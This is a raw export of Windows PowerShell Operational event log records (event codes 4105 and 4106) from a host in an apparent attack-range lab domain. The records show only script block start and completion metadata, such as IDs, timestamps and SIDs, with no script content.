Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036553
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036547
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036525
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036523
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036522
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
